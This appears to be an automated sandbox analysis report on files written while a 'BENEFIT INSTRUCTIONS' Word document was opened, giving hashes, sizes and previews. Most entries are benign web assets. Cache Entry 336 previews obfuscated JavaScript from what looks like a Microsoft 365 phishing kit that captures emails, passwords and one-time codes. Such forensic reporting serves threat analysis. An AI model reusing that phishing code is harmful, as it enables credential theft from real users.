C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 18 21:14:17 2024, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.000324808926178
Encrypted:	false
SSDEEP:	48:8QgbdKvTDI3zH/idAKZdA1duT1ehOuTbbiZUk5OjqehOuTbKy+yT+:8QbvnI3CTyTbxWOvTbKy7T
MD5:	E43E0810BE5F0566554FCB12D69C851D
SHA1:	0643054F2305373FF7E0C40506CF2A275455A424
SHA-256:	BE300D69AE340A2837013941A61347204DA96A0E8827222F94C2876000E7FC99
SHA-512:	1E827733047E02881DB69F7131AC31461910B36E436E84C0FD0158ED50486451ADC1760558B863EB282184989FAB1A473122DC49397AAC20FF1FC8C788EB530A
Malicious:	false
Preview:	L..................F.@.. ...$+.,.....;...!......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....EW$O..PROGRA~1..t......O.IRY......B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VRY.....L.....................p+j.G.o.o.g.l.e.....T.1.....EW.L..Chrome..>......CW.VRY.....M......................k..C.h.r.o.m.e.....`.1.....EW.L..APPLIC~1..H......CW.VRY............................k..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VRY.....N.......................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i............1L......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\Desktop\~$eeconstruction -_(BENEFIT INSTRUCTIONS)_.docx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	4.7887095547632414
Encrypted:	false
SSDEEP:	3:xdll9lrfrc82oCxccCYvmm4QLHKVqhYK3VVun:nllvrA+6CVPwxYK3jun
MD5:	8BE4F38CB00AF441D98126EBED47E296
SHA1:	223659B171478A50CC088FC80DBABDD952DB838A
SHA-256:	37A5EE4796E6DC30A8D48AF55DD7B04A8A2799E3FE97F6182A056D7B0DBBCB26
SHA-512:	FC83066AF6B995BAF70813FEB85D5710F02FF81E4B88BF4AC3F66E4897CA31E8047EE33CE0F29AB8A9D8FA1FF12832FA0A2EF4ECCEE79EA58878D2620206433B
Malicious:	false
Preview:	.user...................................................b.r.o.k...:hc.......i...{...%.D.rCD..UN@rP.y...=.m.9..`O\|..`..."..........!.......[.od!..}.fj....p....=$j

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	downloaded
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
URL:	https://aadcdn.msauth.net/shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	52
Entropy (8bit):	4.190260390968384
Encrypted:	false
SSDEEP:	3:OnuZoS+NT/ZoS8/ZYn:OnuZoSyT/ZoS8/ZYn
MD5:	09BDE5D10D92DEBBB74AE9C3DF3AECAB
SHA1:	2F4EEA05E85C26DE82C5E7CBA471687EC8D855EC
SHA-256:	F67F67274C88240DE01FA51D483271F58A5752B607B13DEE041C7A0671290E7F
SHA-512:	0FF4A460BC9068E61B6EEC0078E97F2AD0DCD12288E8161688351C3BB85A87D624E5B7635C47ED1B5B93C6D3B4A29A756A75A897394B4E6A3986BBB1762CFC6C
Malicious:	false
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xNDkSJQnWPdT5pQH_rBIFDZFhlU4SBQ01hlQcEgUNkWGVThIFDZFhlU4=?alt=proto
Preview:	CiQKBw2RYZVOGgAKBw01hlQcGgAKBw2RYZVOGgAKBw2RYZVOGgA=

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 154228, version 769.768
Category:	downloaded
Size (bytes):	154228
Entropy (8bit):	7.996770916751852
Encrypted:	true
SSDEEP:	3072:1s6054PmrMMxqMo/sE4yN1JWxUY+qI2kqdYt2B1dqchgjwQ:W68io3G5JYktDt62b
MD5:	55B416A8DF21F9F987AA352F10D1343B
SHA1:	2717F3F58271F2F2E6120D9937C7227002656D34
SHA-256:	D76FB4E841748A3F6BC63EFA23156E02631C283BF41F84EFCBDAF339EA3E1B73
SHA-512:	7C4983811EBA2AE80998C62C0EB48CC53EEC26E3CA4222D5CF0A758A5EA92E6A14DCFED4FE5B7EF5513F89BE2C0F336D0131687FA3EDDCBD4BB218BBD6BEB985
Malicious:	false
URL:	https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.1.1/webfonts/fa-solid-900.woff2
Preview:	wOF2......Zt.......(..Z).........................8.$. .`..(...@..(.,..p. .....Hp......aD.f.O..q....@UUUU....l......G?../~.....O.................O......l...x}~.....=...N.'........Gu@..p1.G.....f,.*..V<[..W..U.W#......@....."[.D.8....L..7I......O.{v....E.bQY..B.P+F..)...?......<....e...4.X...H.`tA...@.@.v........GT.~!].....VV7..L.&.D..p.\G..~g.....^....ew.kT..3........pa.......W....A7..`.t/I;.3-K.vdK....D.m.ds.....A...b...#.?...G.O.m..=.....ux.:..gr.......3...v..t.{.p.x..@H..$.B#.H.....4rB.>..........'..8.......pj.<.h4..g..q,Y...Nb[.....ms.^L.0...]}....~.'....w?a>.9?.........H.O.fF#i4....L..;..4q...7a.m.m...R..3.\.v...b.....]B/Aex......lo.f..e .!.@X5....wb...q....=QL..R.._.............EE.W..._..Z.K...q.....2..........`..6..C...jj..#&A=@.>^..N.2.3....P.....t....Y.i..T..LN2..:x.V\..Z.7../1\|.x.V..~......=3.!...y...lz.O..<.dgCR4.A....8.p.aq...h.....6.>.e:...NQ.h....L.G2.V[.f...Ai.=+..+ ...'l..i.+C.t)s.(j...WZ_:..\9.Y..U.]......A.y..9........\xf.;.

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 7390
Category:	dropped
Size (bytes):	2407
Entropy (8bit):	7.900400471609788
Encrypted:	false
SSDEEP:	48:XVBUIsjnR4Zg0ddZ8E5EyQk7J0e+r/9lifUUuHDM3oOY+:XUIIKZg0ddZdEzTsfUUmyY+
MD5:	9D372E951D45A26EDE2DC8B417AAE4F8
SHA1:	84F97A777B6C33E2947E6D0BD2BFCFFEC601785A
SHA-256:	4E9C9141705E9A4D83514CEE332148E1E92126376D049DAED9079252FA9F9212
SHA-512:	78F5AA71EA44FF18BA081288F13AD118DB0E1B9C8D4D321ED40DCAB29277BD171BBB25BA7514566BBD4E25EA416C066019077FAA43E6ED781A29ADB683D218E2
Malicious:	false
Preview:	...........Y=s.8......mr...f.y....8.R...l.Nk.l..?....{$.l\|e'zM.3...............S(..........O./......Mn.e..O..7.O.?=..?........../...~yy._t....8.a........~.....+..$..*..z..\....~..Jx\|............\|y...=................./.3....kN2...H...;<sy....H..?2..q5.0.0....f......L.^..v.W.L..7XCm8.I...6\.p.....O/%sX..I.......u............yE......$q....1/.....W....Zg...w..-..v....x...N)........R....c.W5.=...{_1_...+.#.......e...K..:..b.Ec...!...".I1../2X.....].i.sAF;^.1....1/UM.[r..d...>RX..U...<..1...V.\|.......X.jX:..0...9..F.KsT...{.6,.._Q..9.b...Q)..0.R.t.u.JN..u$V.%X.9k..t.."..Q.........y.V.Z$7.q.{......k.......W....5.x..K.."y...=......4...h\|!....r.."v\f`..c+.......b..hc.jn....0.&G..m.=.@..6../......6....tM^.&3.$......~.....m2...wFs..#5.Hy..?...r.p.O.X.'n...Z8L......7.;..QWGnr.sY..n...3.Jfq..+{m....\...X.q...0...0...........}}d...33.....Q...F$.8..v..UH&.H........0.q..n...q...F.Y7...u..B>..J.A.....$.,....w......Z..oe..w..%....$[+.......d...

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	dropped
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
SHA-256:	1707BE1284617ACC0A66A14448207214D55C3DA4AAF25854E137E138E089257E
SHA-512:	DFAD29E3CF9E51D1749961B47382A5151B1F3C98DEABF2B63742EB6B7F7743EE9B605D646A730CF3E087D4F07E43107C8A01FF5F68020C7BF933EBA370175682
Malicious:	false
Preview:	...........Q=o. ..+.......=t....E.k["...../g;n.,....{.......2....e.......J).8..).5.....>,.ih...^s...&M.Ta..m........C.N5.G.!.-...}.9.~........u.3..@i..qK.U.......E.........S.......A.....6...G..g...,f3g.5F..I...G@<..L.:`.N&.?R....d..(.7._....z.L.......s....

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.8613342322590265
Encrypted:	false
SSDEEP:	24:XjtSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcNX:XgDkpyVCGca4b//9z5oPXdbl9688qRzY
MD5:	9F368BC4580FED907775F31C6B26D6CF
SHA1:	E393A40B3E337F43057EEE3DE189F197AB056451
SHA-256:	7ECBBA946C099539C3D9C03F4B6804958900E5B90D48336EEA7E5A2ED050FA36
SHA-512:	0023B04D1EEC26719363AED57C95C1A91244C5AFF0BB53091938798FB16E230680E1F972D166B633C1D2B314B34FE0B9D7C18442410DB7DD6024E279AAFD61B0
Malicious:	false
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49854)
Category:	dropped
Size (bytes):	49993
Entropy (8bit):	5.216475744251136
Encrypted:	false
SSDEEP:	768:RKrClF4PgzcEZ5G/Z4G9qXLZed86mhrjlm:RPXcZ4TLZzpPm
MD5:	777EB8FD4F8320B6E5CC9A7159BDEC6A
SHA1:	6B4032E88D0040182089FE3BEFDECEE9346E8921
SHA-256:	73EBA16BC895FDFA454E27ECB80DEF31EDE8D861F99E175FF93B110EABEC044F
SHA-512:	D75B7C43EBD8F49942AEBF8FBDE64A4D826AF27ECED3D6395FFA64FDA31DDEF26E812BEEE313AE9C6114CDA003A8BDC8F1C64A13FA41C3009F5F30E4449876B1
Malicious:	false
Preview:	/!. Socket.IO v4.7.5. * (c) 2014-2024 Guillermo Rauch. * Released under the MIT License.. */.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).io=t()}(this,(function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,(i=r.key,o=void 0,"symbol"==typeof(o=function(e,t){if("object"!=typeof e\|\|null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t\|\|"default");if("object"!=typeof r)return r;th

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 250
Category:	dropped
Size (bytes):	199
Entropy (8bit):	6.766983163126765
Encrypted:	false
SSDEEP:	6:XtkhhsKHWpSiKPjPOeNWo6Rs7J1TxODwpV:X8hsKHDTPyeNSRs7vV0aV
MD5:	21B761F2B1FD37F587D7222023B09276
SHA1:	F7A416C8907424F9A9644753E3A93D4D63AE640E
SHA-256:	72D4161C18A46D85C5566273567F791976431EFEF49510A0E3DD76FEC92D9393
SHA-512:	77745F60804D421B34DE26F8A216CEE27C440E469FD786A642757CCEDBC4875D5196431897D80137BD3E20B01104BA76DEC7D8E75771D8A9B5F14B66F2A9B7C0
Malicious:	false
Preview:	..........u....0.._%2k.8?....w..k..!.M.."b5<.M.bD..c..l.:..}...@.8p.sn.j...%".B...J..6...c..^..?...2d...R..w.<%..}..}s..ir0/.......:8).(.......^u...0..U..I.F....{]...[-......~..F.P_.....G.....

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	1636
Entropy (8bit):	4.214613323368661
Encrypted:	false
SSDEEP:	24:t4pb8W1baAcycV1i21AL5Xr/fJzWTtDYnpTyuwa+BDhMXeDFF6+/OKgXOgWKZsHz:zdyb2+jfJz+sFyN3BdMeFF52KgeTksHz
MD5:	F7AB697E65B83CE9870A4736085DEEEC
SHA1:	5FF40BFF26B523FBBEAA5228A2AAC63E44AFAA90
SHA-256:	CBB3706E65B35A43BDCFEBD23B5479DC0542CA7E23197869B683D12B524472FE
SHA-512:	158874143CE65485348813431BB585227772F315234E08158A329DF98319AA5F1DB21DEF2AD7CAA5C25AD11660E7D4E05158CFA1198913A33B1B91676C4CA402
Malicious:	false
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a2.55,2.55,0,0,1-.562.188,2.423,2.423,0,0,1-.3.07q-.141.023-.281.055V20.266q.422-.125.813-.281t.766-.344a8.253,8.253,0,0,0,1.344-.844h1.313m4.531,8.234h4.156v1.8H19.859v-.75a3.292,3.292,0,0,1,.25-1.344,4.183,4.183,0,0,1,.625-1.078,5.7,5.7,0,0,1,.844-.828q.219-.187.438-.352t.422-.32q.453-.312.766-.578a2.593,2.593,0,0,0,.3-.281l.25-.281a3.148,3.148,0,0,0,.328-.562,1.59,1.59,0,0,0,.109-.609,1.176,1.176,0,0,0-.359-.937,1.552,1.552,0,0,0-1.078-.328,3.625,3.625,0,0,0-2.422,1V19.688a4.866,4.866,0,0,1,1.359-.625,5.548,5.548,0,0,1,1.516-.2,4.456,4.456,0,0,1,1.344.188,2.461,2.461,0,0,1,1,.563,2.242,2.242,0,0,1,.625.875,3.007,3.007,0,0,1,.219,1.156,3.538,3.538,0,0,1-.055.641,3.7,3.7,0,0,1-.148.563,3.439,3.439,0,0,1-.562.953,7.2,7.2,0,0,1-.8.8q-.21

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
URL:	https://www.gstatic.com/recaptcha/api2/logo_48.png
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	exported SGML document, ASCII text, with very long lines (65515)
Category:	dropped
Size (bytes):	182966
Entropy (8bit):	5.1708599952898
Encrypted:	false
SSDEEP:	3072:mO9/uC+qtzVESWMAsM+eS6e6+JE3TLzxcGti:mO9GSRiSWMAsM+eS6e6+JE3TL2
MD5:	820CB9692554123A0BFE556D22673685
SHA1:	3AF6F30249C2BAFAD2DB1E6071633F905653A706
SHA-256:	FE6EA0D5A33399D880449F8340DCF16063C7C47F85AA4E0115B9F87C9C622480
SHA-512:	4534F5F31430595B4744389F9260812143E4ADA1DEA3460D15785DBD0642B8E4540F100DED7D8B212E2B20A4AECE68824FCA2AF096FF3D1744AD33F5D47956D5
Malicious:	false
Preview:	function _0x309a() {. const _0x11e9f4 = ['950604TkZqjn', 'otp_command', 'head', 'oncontextmenu', '@123.', 'email', 'backgroundImage', '5iaUCPb', '.otpError2', 'RQ_OTP_APP', 'insertAdjacentHTML', '@web.', 'URL\x20EMAIL=NULL', '387ncMFhV', '.imgclass', 'body', 's2c', '583950morvMO', 'test', '.emailLabel', 'https://aadcdn.msauth.net/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg', '<p>', 'language', '@aol.', 'location', 'change', 'complete', 'endUrl', '.loginForm', '#sendPass', '.loaderxBlock', '.otpInput2', 'split', '@gmail.com', 'length', 'email_type', 'https://google.com', 'querySelectorAll', '.passwordInput', '.overlay', 'userAgent', 'html', '.msappcodeBlock', '.otpError', '.passwordError', 'RQ_EMAIL', 'url(\x27', 'password', 'beforeend', 'O365', '@test.', 'forEach', '\x0a\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20 \x20Overlay\x20-->\x0a\x20\x20\x20\x20<div\x20class=\x22overlay\x22>\x0a\x0a\x20\x20\x20\x20\x20\x20\x20\x20<div\x20class=\x22lds-roller\x

Chrome Cache Entry: 337

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2228
Entropy (8bit):	7.82817506159911
Encrypted:	false
SSDEEP:	48:4/6MuQu6DYYEcBDlBVzqawiHI1Oupgl8m7NCnagQJFknwD:4SabhtXqMHyCl8m7N0ag6D
MD5:	EF9941290C50CD3866E2BA6B793F010D
SHA1:	4736508C795667DCEA21F8D864233031223B7832
SHA-256:	1B9EFB22C938500971AAC2B2130A475FA23684DD69E43103894968DF83145B8A
SHA-512:	A0C69C70117C5713CAF8B12F3B6E8BBB9CDAF72768E5DB9DB5831A3C37541B87613C6B020DD2F9B8760064A8C7337F175E7234BFE776EEE5E3588DC5662419D9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.......C......pHYs.................IDATh...P....=..8.....Nx. ..PlP8..;.C.1iL#6....Z..!......3.po .o.L.i.I..1fl..4..ujL&6$...............w...........,Z..z. ~.....\.._.C.eK...g..%..P..L7...96..q....L.....k6.....,xz.._......B."#...L(n..f..Yb....8.;....K)N...H).%.F"Ic.LB.........jG.uD..B....Tm....T..).A.}D.f..3.V.....O.....t_..].x.{o..........x?!W...j..@..G=Ed.XF.........J..E?../]..?p..W..H..d5% WA+.....)2r..+..'qk8.../HS.[...u..z.P.....-.A.}.......I .P.....S....\|...)..KS4....I.....W...@....S.s..s..$`.X9.....E.x.=.u.iJ...........k......'...!.a....*+.....(...S..\h....@............I.$..%.2....l......a.\|.....U....y.....t..8....TF.o.p.+.@<.g........-.M.....:.@..(.......@......>..=.ofm.WM{...e..,..D.r.......w....T.L.os..T@Rv..;.....9....56<.x...........2.k.1....dd.V.....m..y5../4\|...G.p.V.......6...}.....B........5...&..v..yTd.6...../m.K...(.

Chrome Cache Entry: 338

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (49854)
Category:	downloaded
Size (bytes):	49993
Entropy (8bit):	5.216475744251136
Encrypted:	false
SSDEEP:	768:RKrClF4PgzcEZ5G/Z4G9qXLZed86mhrjlm:RPXcZ4TLZzpPm
MD5:	777EB8FD4F8320B6E5CC9A7159BDEC6A
SHA1:	6B4032E88D0040182089FE3BEFDECEE9346E8921
SHA-256:	73EBA16BC895FDFA454E27ECB80DEF31EDE8D861F99E175FF93B110EABEC044F
SHA-512:	D75B7C43EBD8F49942AEBF8FBDE64A4D826AF27ECED3D6395FFA64FDA31DDEF26E812BEEE313AE9C6114CDA003A8BDC8F1C64A13FA41C3009F5F30E4449876B1
Malicious:	false
URL:	https://cdn.socket.io/4.7.5/socket.io.min.js
Preview:	/!. Socket.IO v4.7.5. * (c) 2014-2024 Guillermo Rauch. * Released under the MIT License.. */.!function(e,t){"object"==typeof exports&&"undefined"!=typeof module?module.exports=t():"function"==typeof define&&define.amd?define(t):(e="undefined"!=typeof globalThis?globalThis:e\|\|self).io=t()}(this,(function(){"use strict";function e(t){return e="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},e(t)}function t(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}function n(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable\|\|!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,(i=r.key,o=void 0,"symbol"==typeof(o=function(e,t){if("object"!=typeof e\|\|null===e)return e;var n=e[Symbol.toPrimitive];if(void 0!==n){var r=n.call(e,t\|\|"default");if("object"!=typeof r)return r;th

Chrome Cache Entry: 339

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 513
Category:	downloaded
Size (bytes):	276
Entropy (8bit):	7.316609873335077
Encrypted:	false
SSDEEP:	6:XtqDFR4m68lkQfanvbEzXI0iP427cnLPw6/aqqmb/:XUD34sMDaXI0demb/
MD5:	4E3510919D29D18EEB6E3E8B2687D2F5
SHA1:	31522A9EC576A462C3F1FFA65C010D4EB77E9A85
